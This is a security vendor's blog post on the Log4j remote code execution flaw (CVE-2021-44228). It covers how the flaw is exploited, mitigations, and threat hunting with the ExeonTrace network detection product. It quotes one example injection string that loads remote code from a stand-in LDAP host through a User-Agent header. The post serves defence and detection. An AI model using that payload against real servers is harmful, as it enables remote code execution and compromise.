Threat Hunting and Detection of the Log4j Exploit using the ExeonTrace NDR

The remote code execution vulnerability against Apache Log4j2 [https://nvd.nist.gov/vuln/detail/CVE-2021-44228] is one of the most severe vulnerabilities we have seen for a long time. It’s so severe because the vulnerability is very easy to exploit and the Log4j logging library is used by many Java applications. Thus, one must assume that nearly any larger organization is potentially affected, either due to software developed in-house or via Java software provided by suppliers. After giving some background, we’ll explain how one can identify exploited systems using our ExeonTrace NDR software in this blog post.

How the Log4j vulnerability can be exploited

The Log4j library is used in Java applications to write log messages. Log4j supports a property substitution syntax [https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution] to enrich these log messages with the information provided by Java code loaded from another system. Vulnerable versions of Log4j (all versions from 2.0-beta9 to 2.14.1) don’t t seem to restrict this function. Thus, an attacker simply needs to trick a vulnerable Java application into logging strings like ${jndi:ldap://example.com/exploit} to run the exploit stored on example.com. For instance, nearly all Web applications log the User-Agent of clients. Thus, an attacker can simply write the above string into the User-Agent field of HTTP requests to compromise a vulnerable Web application.

It’s further important to note that data entered via Internet-facing applications is often forwarded to other systems. Therefore, an attacker can potentially exploit a system that is not directly exposed to the outside but simply processes data. For example, an attacker could provide an invalid username via an Internet-facing application that triggers an error with a corresponding log on a vulnerable backend application. As a result, the backend application is compromised.

On the positive side, not all Java versions seem to be affected in their default configurations, according to Veracode [https://www.veracode.com/blog/security-news/urgent-analysis-and-remediation-guidance-log4j-zero-day-rce-cve-2021-44228] and Crowdstrike [https://www.crowdstrike.com/blog/log4j2-vulnerability-analysis-and-mitigation-recommendations/]. Further, vulnerable releases >=2.10 can be hardened without replacing the library by setting either the system property log4j2.formatMsgNoLookups=true (-Dlog4j2.formatMsgNoLookups=true on the java command line) or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true [https://logging.apache.org/log4j/2.x/security.html].

For a more detailed explanation of the exploit and recommendations, please see the blog post of NCSC/GovCERT.ch [https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/].

Threat hunting with ExeonTrace

The Log4j exploits load the malicious Java application via the network. Thus, if corresponding network logs (NetFlow, IPFIX, firewall logs) are provided to ExeonTrace, you can check ExeonTrace for suspicious connections triggered by your internal servers.

To inspect the connections that internal servers trigger, we recommend to check “Flow analytics -> Client server pairs -> Outbound” in your ExeonTrace instance (URL: https://YOUR_EXEONTRACE_INSTACE/analytics/flow/dominant-client-server-pairs/outbound). Note the filter “client:10.7.190.0/24” in the example shown below such that only client activities of servers in the example network “10.7.190.0/24” are visualized (the servers act as clients in the case of this attack because they try to establish a connection to the external resource to load the malicious code). Make sure to check “Show failed connections” to also see exploit attempts that were most likely unsuccessful and “Include all ports” to see connections happening over high ports.

It’s also a good idea to check the tab “Inbound” for suspicious activities, because in case of incomplete log data, connections are sometimes rotated. Also, the tab “Internal” is interesting because compromised systems might conduct internal reconnaissance and lateral movement activities.

For customers with the proxy log data analytics module, we further recommend to check ExeonTrace’s proxy client server pair view (URL: https://YOUR_EXEONTRACE_INSTACE/analytics/proxy/client-server-pairs/). Again, it’s recommended to filter for the server networks (“client:10.7.190.0/24”) to see if the servers trigger suspicious activities as clients.

Automated detection with ExeonTrace

Independent of this exploit, ExeonTrace continuously monitors the network for signs of internal reconnaissance and lateral movement. Further, there’s the option to configure an analytics model triggering alerts when novel connections are established by selected server networks. Please contact our support (support@exeon.ch) for assistance with setting up this model.

No known Log4j exploit against the NDR software ExeonTrace

Even though the Log4j library is present in two components used by the ExeonTrace NDR software, the ExeonTrace standard deployment is, to the best of our knowledge, not vulnerable to the Log4j exploit thanks to its configuration.

Update 17.12.:

Further research showed that the below mentioned mitigation measures (log4j2.formatMsgNoLookups=true as well as setting LOG4J_FORMAT_MSG_NO_LOOKUPS) might not be sufficient. It’s recommended to upgrade to log4js version 2.16.0 or to remove JndiLookup.class from the jar.